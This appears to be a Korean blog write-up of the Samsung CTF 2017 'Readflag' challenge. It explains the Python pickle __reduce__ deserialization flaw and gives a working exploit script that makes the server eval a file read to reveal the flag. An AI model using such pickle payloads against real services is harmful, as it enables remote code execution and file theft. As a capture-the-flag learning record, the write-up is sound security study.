2017. 7. 23. 18:15

## Samsung CTF_2017(Readflag, Attack)


[Summary]

1. Python Pickle 취약점을 이용

2. __reduce__ method의 return으로 지정되는 함수 (RCE가능)


[Analysis] 

  Readflag문제는 이전에 Plaid CTF에서도 나왔던 문제였던 Python의 Pickle 취약점을 이용하는 문제였다.

Pickle이라는 것은 파이썬에서 사용하는 각 객체나 변수, 리스트 등을 파일에다가 쓸 수도 있는 유용한 모듈인데

class를 dump한 후 load를 할 때 해당 클래스의 __reduce__ method의 return으로 지정되는 함수를 실행하는

임의 코드 실행 취약점이 발생한다.


 이 취약점을 이용하려면 아래 exploit 코드와 같이 클래스를 하나 만들고 내부에 __reduce__ 함수를 만들고

return으로 원하는 메서드와 인자를 구성한 후 서버로 보내면 끝이다.


 실제로 아래 exploit 코드를 보내면 실제로 서버에 있는 "test.py"를 open()하여 read()를 하고 출력해주게 

되는데(eval함수를 이용해서) 처음에는 flag를 읽어보려 했으나 flag파일이 있는지도 모르고 파일이름을 

몰라서 문제를 풀던 중 아래 [그림 1]와 같이 뜨는 에러 문구 중 서버의 test.py라는 파일이 서버 프로그램으로

돌고 있다는 것을 파악하였고, 그 파일을 읽어보았다. 그리고 그 파일 내부에 아래 [그림 2]과 같이 플래그가 있었다.



[그림 1] "test.py" 존재 유무 확인


[Exploit Code] - readflag_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
from pickle import * 
import __builtin__ 
import pprint 
import os
import commands
 
class exploit(object): 
        def __reduce__(self):
            p = "open('test.py').read()" 
            return (__builtin__.eval,(p,))
 
print dumps(exploit())+'#'
cs


[Get Flag~~!!!!]


[그림 2] test.py 파일 내 flag 확인



끝~!








Posted by holinder4S